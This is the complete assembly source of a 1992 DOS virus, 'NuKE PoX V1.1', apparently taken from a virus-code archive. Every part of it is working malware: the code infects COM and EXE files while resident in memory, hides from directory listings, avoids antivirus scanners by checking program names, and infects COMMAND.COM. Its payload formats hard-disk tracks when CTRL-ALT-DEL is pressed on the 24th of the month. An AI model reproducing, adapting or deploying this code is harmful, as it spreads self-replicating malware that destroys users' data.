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POX2.ASM
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Assembly Source File
|
1992-09-16
|
38KB
|
498 lines
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
;*- ~~~~~~ *-
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the registers
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7bcdh ;Are we resident Already?
int 21h
cmp bx,7bcdh ;Yupe... Quit Then...
je exit_com
xor bx,bx
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es
mov word ptr cs:[int9][bp],bx
mov ax,3521h ;Sometimes tend to intercept
int 21h ;This Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number od bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file ;Its an EXE file...
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
mov dx,cs
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;This is now a MOV AX,XXXX
Rock_Fix1: ;XXXX is the original SS
dw 0 ;Our XXXX Value
cli ;Disable Interrupts
mov ss,ax ;Mov it to SS
db 0BCh ;This is now a MOV SP,XXXX
Rock_Fix2:
dw 0 ;The XXXX Value for SP
sti ;Enable interrupts
db 0EAh ;JMP XXXX:YYYY
fuck_yeah:
dd 0 ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler: ;Every TIME a KEY is pressed
push ax ;This ROUTINE is called!
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave system alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected: pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,7bcdh ;Virus testing
jne int21call
jmp execute
int21call:
jmp dword ptr cs:[int21] ;Split...
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
cmp ax,7bcdh ;Was Virus testing if it was
jne continue ;Alive? If No Continue
push cs
pop ds ;If Yes, Check if COMMAND.CO
mov dx,offset command ;Is infected! And return
jmp continue2
continue:
call check_name ;Make sure file executed
jc exit_now ;Ain't a Anti-Viral program
continue2: ;With the CRC-32 checkers
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,20h
mov dx,offset ds:[buffer] ;Read first 20h bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end of
xor cx,cx ;file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exe_file ;JMP to EXE Infector
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the firs
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
exit_now2:
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7bcdh ;Virus checking if alive
jne leave_now ;No, Exit normally
mov bx,ax ;Yes, Fix BX with codez
leave_now:
jmp dword ptr cs:[int21] ;Jmp back to whatever
exe_file:
mov cx,word ptr cs:[buffer+20] ;IP Regester
mov word ptr cs:[exe_ip],cx ;Save IP Regester
mov cx,word ptr cs:[buffer+22] ;CS Regester
mov word ptr cs:[exe_cs],cx ;Save CS Regester
mov cx,word ptr cs:[buffer+16] ;SP Regester
mov word ptr cs:[exe_sp],cx ;Save SP Regester
mov cx,word ptr cs:[buffer+14] ;SS Regester
mov word ptr cs:[exe_ss],cx ;Save SS Regester
push ax
push dx
call multiply ;Figure a new CS:IP
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[buffer+22],dx ;Restore New CS
mov word ptr cs:[buffer+20],ax ;Restore New IP
pop dx
pop ax
add ax,virus_size
adc dx,0
push ax
push dx
call multiply ;Figure a new SS:SP
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
add ax,40h
mov word ptr cs:[buffer+14],dx ;New SS Pointer
mov word ptr cs:[buffer+16],ax ;New SP Pointer
pop dx
pop ax
push bx
push cx
mov cl,7 ;Fix for Header for
shl dx,cl ;new file size in 512
;byte pages
mov bx,ax
mov cl,9 ;And the remainder
shr bx,cl ;after dividing by
;512...
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here:
pop cx
pop bx
mov word ptr cs:[buffer+2],ax ;Save Remainder
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
call infect_me ;INFECT File! Yeah!
jc exit_exe
mov ah,40h ;Write NEW EXE Header back
mov dx,offset ds:[buffer] ;to EXE File! Points to
mov cx,20h ;The Virus Now!!! ehhe
int 21h
exit_exe:
jmp exit_now
rocko endp
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
exe_cs dw 0 ;Header!
exe_sp dw 0
exe_ss dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,40h ;Write the New Encrypted
mov dx,offset init_virus ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply proc near
push bx
push cx
mov cl,0Ch
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
multiply endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name proc near
push si
push cx
mov si,dx
mov cx,128h
loop_me:
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
je next_ok
inc si
loop loop_me
next_ok:
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
jne next_1 ;Naaa
cmp ds:[si-4],'RP'
je bad_file ;Yupe...
next_1:
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
jne next_2 ;Naaa
cmp ds:[si-4],'CS'
je bad_file ;Yupe...
next_2:
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
jne next_3 ;Naaa
cmp ds:[si-4],'EL'
je bad_file ;Yupe...
next_3:
pop cx
pop si ;good file Set CARRY FLAG
clc ;to normal
retn
bad_file:
pop cx ;Bad file, Set CARRY FLAG
pop si ;ON!!!
stc
retn
check_name endp
command db "C:\COMMAND.COM",0 ;What to infect!
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
db 30h DUP (?)
msg db "NukE PoX V1.1 - R.S"
last:
seg_a ends
end start
